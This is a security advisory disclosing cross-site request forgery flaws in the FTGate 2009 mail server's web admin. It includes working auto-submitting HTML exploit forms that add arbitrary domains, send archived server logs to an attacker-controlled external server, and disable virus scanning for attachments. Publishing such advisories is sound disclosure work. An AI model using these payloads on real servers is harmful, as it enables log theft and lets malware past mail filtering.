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FTGate 2009 Build 6.4.00 CSRF Vulnerabilities



[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-FTGATE-2009-CSRF.txt



Vendor:
================================
www.ftgate.com



Product:
========================================
FTGate 2009 SR3 May 13 2010 Build 6.4.00


Vulnerability Type:
=================================
Cross site request forgery (CSRF)


CVE Reference:
==============
N/A




Vulnerability Details:
=====================
Multiple CSRF vectors exist within FTGate 2009 that allow us to add arbitrary remote domains,
disable antivirus scanning for various Email file attachment types, and finally change settings
to have archived server logs sent to our remote attacker controlled server for safe keeping.

Exploit code(s):
===============

CSRF(s):

<!DOCTYPE>
<html>
<body onLoad="invertedcross()">

<script>
function invertedcross(){
var e=document.getElementById('PUNKSNOTDEAD')
e.submit()
}
</script>


1) add arbitrary domains:
-------------------------
<form id="PUNKSNOTDEAD" action="http://localhost:8089/webadmin/mailboxes/index.fts?action=save"; method="post">
<input type="text" name="dname" value="hyp3rlinx.com" />
<input type="text" name="dtype" value="4" />
<input type="text" name="fname" value="*" />
<input type="text" name="action" value="domadd" />
<input type="text" name="domain" value="" />
<input type="text" name="newdomain" value="" />
</form> 


2) sends archived logs to arbitrary remote server:
--------------------------------------------------
<form id="PUNKSNOTDEAD" action="http://localhost:8089/webadmin/config/archive.fts?action=save"; method="post">
<input type="text" name="enable" value="on" />
<input type="text" name="path" value="C%3A%5CProgram+Files+%28x86%29%5CFTGate+2009%5CArchive" />
<input type="text" name="duration" value="0" />
<input type="text" name="external" value="on" />
<input type="text" name="extarcserver" value="6.6.6.0" />
</form> 


3) disable virus scan for .jar or .exe files etc:
-------------------------------------------------
Options to control handling of virus scanning for email attachments Virus Scanning Mode
Operating mode of the virus scanner mode=0 to Disable Virus Scanning.

<form id="PUNKSNOTDEAD" action="http://localhost:8089/webadmin/filters/virus.fts"; method="post">
<input type="text" name="action" value="add" />
<input type="text" name="mode" value="0" />
<input type="text" name="extension" value="dll" />
</form> 

</body>
</html>




Disclosure Timeline:
=========================================================
Vendor Notification: September 29, 2015 
October 1, 2015 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
=========================================================
High




Description:
==========================================================


Request Method(s):              [+]  POST


Vulnerable Product:             [+]  FTGate 2009 SR3 May 13 2010 Build 6.4.00


Vulnerable Parameter(s):        [+]  domadd, extarcserver & mode



===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

by hyp3rlinx